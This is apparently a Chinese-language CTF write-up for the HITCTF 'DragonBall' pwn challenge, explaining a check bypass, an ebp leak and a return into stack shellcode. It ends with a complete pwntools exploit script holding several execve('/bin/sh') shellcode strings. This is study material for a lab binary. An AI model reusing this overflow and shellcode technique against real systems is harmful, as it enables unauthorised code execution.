HITCTF DragonBall WP
这段时间打算刷下之前哈工大的pwn。今天是第一天,本来打算搞两三道的结果发现一个栈就看了一天,哎果然还是太菜了。
拿到题目先checksc看发现什么保护都没有开,判断应该是栈,扔ida一审发现他没有check负数,check的逻辑是当钱为0时不能购买Dragonball,但是这里可以通过买-卖-再买使钱数不能被5整除,这样的话就能绕过check进入wish函数。wish函数中有两个输入,其中一个可以溢出,但是只能刚好溢出到ret,一开始觉得rop的话利用起来应该会比较烦,毕竟它能溢出的字节数还是比较少,而且他这里没有开nx,应该是通过写shellcode来getshell。这样想后便往写shellcode上去看,发现可以通过控制ebp来控制wish函数中写入的位置,由于wish函数中两次获取用户输入都是一个ebp,gdb跟了一下发现可以同时控制往bss段和got段写任意值(由于bss段足够大),于是打算复写puts的got为shellcode在bss段的起始地址,这样当wish函数中最后调用puts的时候就回去执行shellcode。完美。
emmmmm然而利用并没有成功。调了一下发现程序接收输入变成了从输出去接收,也就是read函数的fd变成了1,这样的话构造的字符串程序无法接收,但是这里第一次输入之后会输入目标空间中的值,也就是说这里我们可以得到程序的libc库。然后后来看了一下好像还是无法利用就先放弃了这个方法。
之后通过之前泄露libc库想到如果wish函数中第一次输入的时候将缓冲区填满,就能泄露ebp,一旦泄露ebp,栈上的所有地址都可以通过泄露的ebp+偏移得到,这时如果我们将shellcode布置在栈上,同时将ret复写为ebp-偏移,使ret指向栈上的那部分shellcode,我们就能getshell了。这里也有很多坑,主要就是程序输出的串没有接收导致进程阻塞之类的,还有就是最好不要去任意改变程序执行流程,这样可能会破坏栈结构,导致一些莫名其妙的问题,最后就是这里用shellcraft生成的shellcode好像不行,只好自己去网上找到能用的shellcode。
这道题应该还有其它的方法,等下次再填坑。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import * context(log_level='debug',arch='i386',os='linux') p=process('./DragonBall') elf=ELF('./DragonBall') gdb.attach(p,''' break *0x080487C0 break *0x08048791 continue ''')
def buy(): p.recvuntil('You choice: ') p.sendline('1')
def sell(): p.recvuntil('You choice: ') p.sendline('2')
def list(): p.recvuntil('You choice: ') p.sendline('3')
#def wish(): # p.recvuntil('You choice: ') # p.sendline('4') # p.recvuntil('Tell me your wish: ') # p.sendline('a'*0x68) # p.recvuntil('a'*0x68) # a=(u32(p.recv(4))) # p.recvuntil('(Y/N) ') # p.sendline(asm(shellcraft.sh())+(0x3c-len(asm(shellcraft.sh())))*'c'+p32(0x1234)) # #def exit(): # p.recvuntil('You choice: ') # p.sendline('5')
buy() sell() buy() buy() buy() buy() buy() buy() buy() p.recvuntil('You choice: ') p.sendline('4') p.recvuntil('Tell me your wish: ') p.sendline('a'*0x67) p.recvuntil('a'*0x67) a=(u32(p.recv(4))) a='0xff'+(hex(a).replace('0x',''))[0:6] print a a=int(a,16) p.recvuntil('(Y/N) ') shellcode='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80' shellcode='jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80' shellcode='\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05' shellcode='\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80' #shellcode=asm(shellcraft.sh()) leng=len(shellcode) #p.sendline((shellcode)+(0x3c-len((shellcode)))*'c'+p32(0x1234)) p.sendline(shellcode+'a'*(0x3c-leng)+p32(a-0x58))
p.interactive()
|